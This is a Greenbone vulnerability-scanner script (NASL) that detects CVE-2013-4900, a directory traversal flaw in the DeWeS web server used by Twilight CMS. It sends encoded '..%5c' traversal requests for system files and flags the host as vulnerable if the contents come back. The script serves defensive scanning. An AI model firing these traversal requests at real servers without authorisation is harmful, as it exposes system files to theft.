Twilight CMS DeWeS Web Server Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803746");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-4900");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-08-22 12:47:40 +0530 (Thu, 22 Aug 2013)");
  script_name("Twilight CMS DeWeS Web Server Directory Traversal Vulnerability");

  script_tag(name:"summary", value:"Twilight CMS with DeWeS Web Server is prone to a directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Send the crafted HTTP GET request and check the is it possible to read
  the system file.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"insight", value:"The flaw is due to an improper sanitation of encoded user input via HTTP
  requests using directory traversal attack (e.g., /..%5c..%5c).");

  script_tag(name:"affected", value:"Twilight CMS DeWeS web server version 0.4.2 and prior.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to read arbitrary files
  on the target system.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Aug/136");
  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23167");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/528139/30/0/threaded");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/dewes-042-path-traversal");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("DeWeS/banner");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if("Server: DeWeS" >!< banner){
  exit(0);
}

files = traversal_files();
foreach file (keys(files))
{
  url = "/" + crap(data:"..%5c",length:15) + files[file];

  if(http_vuln_check(port:port, url:url, pattern:file))
  {
    report = http_report_vuln_url( port:port, url:url );
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);